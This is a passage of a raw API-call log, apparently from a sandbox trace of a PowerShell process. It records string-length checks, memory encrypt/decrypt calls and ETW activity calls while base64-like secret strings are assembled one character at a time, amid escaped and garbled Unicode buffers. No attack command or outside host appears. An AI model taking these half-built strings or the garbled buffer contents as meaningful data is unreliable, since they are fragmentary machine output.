(param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xe685\xd689\x79dd\xe554\xd3d9\xabab\xdba7\x3d66") returned 0x20 [0128.040] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.040] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xnWD/CJtv/gX譝펂") returned 0x20 [0128.040] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.040] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\x8d58\xd36\x713b\x58e6\x34a9\xb7fc\xd38c\x5d92") returned 0x20 [0128.040] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\x8d58\xd36\x713b\x58e6\x34a9\xb7fc\xd38c\x5d92") returned 0x20 [0128.040] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.040] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xnWD/CJtv/gX3펂") returned 0x20 [0128.040] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.041] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xbe89\x2142\x6f2\x73f7\xc513\xab93\x9cbf\x46c4") returned 0x20 [0128.041] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xbe89\x2142\x6f2\x73f7\xc513\xab93\x9cbf\x46c4") returned 0x20 [0128.041] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.041] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xnWD/CJtv/gX32") returned 0x20 [0128.041] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.041] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de") returned 0x20 [0128.041] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de") returned 0x20 [0128.041] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de") returned 0x20 [0128.041] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\x64\x4c\x70\x55\x6c\x2e\x6a\x70") returned 0x28 [0128.041] SystemFunction041 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.041] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xnWD/CJtv/gX32a镌霡Ɽ᝵相鸚") returned 0x28 [0128.041] SystemFunction040 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.041] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\xe2d2\x2cfd\xbc41\x719b\x4d0b\xfeca\xd217\xe71f") returned 0x28 [0128.041] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\xe2d2\x2cfd\xbc41\x719b\x4d0b\xfeca\xd217\xe71f") returned 0x28 [0128.041] SystemFunction041 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.041] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xnWD/CJtv/gX32ar霡Ɽ᝵相鸚") returned 0x28 [0128.041] SystemFunction040 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.042] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\xf2e8\x18bb\x3868\xa8a2\x6998\xa849\xc361\x4290") returned 0x28 [0128.042] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\xf2e8\x18bb\x3868\xa8a2\x6998\xa849\xc361\x4290") returned 0x28 [0128.042] SystemFunction041 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.042] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xnWD/CJtv/gX32arrⱤ᝵相鸚") returned 0x28 [0128.042] SystemFunction040 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.042] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\x5688\x79ef\x8df6\x1305\xf012\x84d0\x1fde\xc134") returned 0x28 [0128.042] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\x5688\x79ef\x8df6\x1305\xf012\x84d0\x1fde\xc134") returned 0x28 [0128.042] SystemFunction041 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.042] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xnWD/CJtv/gX32arrQⱤ᝵相鸚") returned 0x28 [0128.042] SystemFunction040 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.042] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\x3c9b\x9b5e\x1ee9\x42ed\x24f7\xb7b1\x6981\xd88a") returned 0x28 [0128.042] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\x3c9b\x9b5e\x1ee9\x42ed\x24f7\xb7b1\x6981\xd88a") returned 0x28 [0128.042] SystemFunction041 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.042] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xnWD/CJtv/gX32arrQO᝵相鸚") returned 0x28 [0128.042] SystemFunction040 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.042] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\x4ec5\x79dd\xf59c\x1ad4\xa38c\x220a\x151d\xef69") returned 0x28 [0128.042] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\x4ec5\x79dd\xf59c\x1ad4\xa38c\x220a\x151d\xef69") returned 0x28 [0128.042] SystemFunction041 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.043] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xnWD/CJtv/gX32arrQON相鸚") returned 0x28 [0128.043] SystemFunction040 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.043] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\xb3fe\x700\x4d57\x1bf2\x96a6\x9c53\xfba3\xe5e8") returned 0x28 [0128.043] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\xb3fe\x700\x4d57\x1bf2\x96a6\x9c53\xfba3\xe5e8") returned 0x28 [0128.043] SystemFunction041 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.043] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xnWD/CJtv/gX32arrQONn鸚") returned 0x28 [0128.043] SystemFunction040 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.043] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\xa956\x9308\x83a\xd667\x5295\xe6a8\x2943\xd8c2") returned 0x28 [0128.043] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\xa956\x9308\x83a\xd667\x5295\xe6a8\x2943\xd8c2") returned 0x28 [0128.043] SystemFunction041 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.043] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xnWD/CJtv/gX32arrQONnS") returned 0x28 [0128.043] SystemFunction040 (in: Memory=0x8e701e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e701e4) returned 0x0 [0128.043] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\xda81\xdafa\xa7d6\x1e72\xee6\x9e04\xa43\x9b76") returned 0x28 [0128.043] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\xda81\xdafa\xa7d6\x1e72\xee6\x9e04\xa43\x9b76") returned 0x28 [0128.043] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\xda81\xdafa\xa7d6\x1e72\xee6\x9e04\xa43\x9b76") returned 0x28 [0128.043] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\xda81\xdafa\xa7d6\x1e72\xee6\x9e04\xa43\x9b76") returned 0x30 [0128.043] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0128.044] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xnWD/CJtv/gX32arrQONnSG풞ὴ쨦誑侸ꮥ") returned 0x30 [0128.044] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0128.044] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\xda81\xdafa\xa7d6\x1e72\xee6\x9e04\xa43\x9b76\xc263\xc8da\x2009\x1cf1\xde95\x4f\xc04f\x3432") returned 0x30 [0128.044] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\xda81\xdafa\xa7d6\x1e72\xee6\x9e04\xa43\x9b76\xc263\xc8da\x2009\x1cf1\xde95\x4f\xc04f\x3432") returned 0x30 [0128.044] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0128.044] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xnWD/CJtv/gX32arrQONnSGN풞ὴ쨦誑侸ꮥ") returned 0x30 [0128.044] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0128.044] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\xda81\xdafa\xa7d6\x1e72\xee6\x9e04\xa43\x9b76\x7971\x858d\x49dc\x9f16\x377e\xf48d\x81ca\x2cee") returned 0x30 [0128.044] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\xda81\xdafa\xa7d6\x1e72\xee6\x9e04\xa43\x9b76\x7971\x858d\x49dc\x9f16\x377e\xf48d\x81ca\x2cee") returned 0x30 [0128.044] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0128.044] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xnWD/CJtv/gX32arrQONnSGNYὴ쨦誑侸ꮥ") returned 0x30 [0128.044] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0128.044] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\xda81\xdafa\xa7d6\x1e72\xee6\x9e04\xa43\x9b76\x1cd\x2d51\x44cd\xd992\x3bf9\x2a\x3e8f\x38f9") returned 0x30 [0128.044] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa42\x563f\x51d4\x27bf\x3fd1\xe1d4\xd46b\x34de\xda81\xdafa\xa7d6\x1e72\xee6\x9e04\xa43\x9b76\x1cd\x2d51\x44cd\xd992\x3bf9\x2a\x3e8f\x38f9") returned 0x30 [0128.044] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0128.044] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xnWD/CJtv/gX32arrQONnSGNY=쨦誑侸ꮥ") returned 0x30 [0128.044] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0128.045] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.045] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.045] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.045] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5fc, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0128.045] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9d4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9d4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.045] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae934*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae934*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.045] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.045] SysStringLen (param_1="") returned 0x8 [0128.046] SysStringLen (param_1="Y") returned 0x8 [0128.046] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.046] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0128.046] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0128.046] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.046] SysStringLen (param_1="YW") returned 0x8 [0128.046] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.046] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0128.046] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0128.046] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.046] SysStringLen (param_1="YWM") returned 0x8 [0128.046] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.046] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0128.046] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0128.046] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.046] SysStringLen (param_1="YWM1") returned 0x8 [0128.046] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.047] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0128.047] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0128.047] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.047] SysStringLen (param_1="YWM1O") returned 0x8 [0128.047] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.047] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0128.047] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0128.047] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.047] SysStringLen (param_1="YWM1OT") returned 0x8 [0128.047] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.047] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0128.047] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0128.047] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.047] SysStringLen (param_1="YWM1OTE") returned 0x8 [0128.047] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.047] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0128.047] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0128.047] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.048] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0128.048] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.048] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0128.048] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0128.048] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0128.048] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0128.048] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.048] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0128.048] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.048] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0128.048] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0128.048] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.048] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0128.048] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) 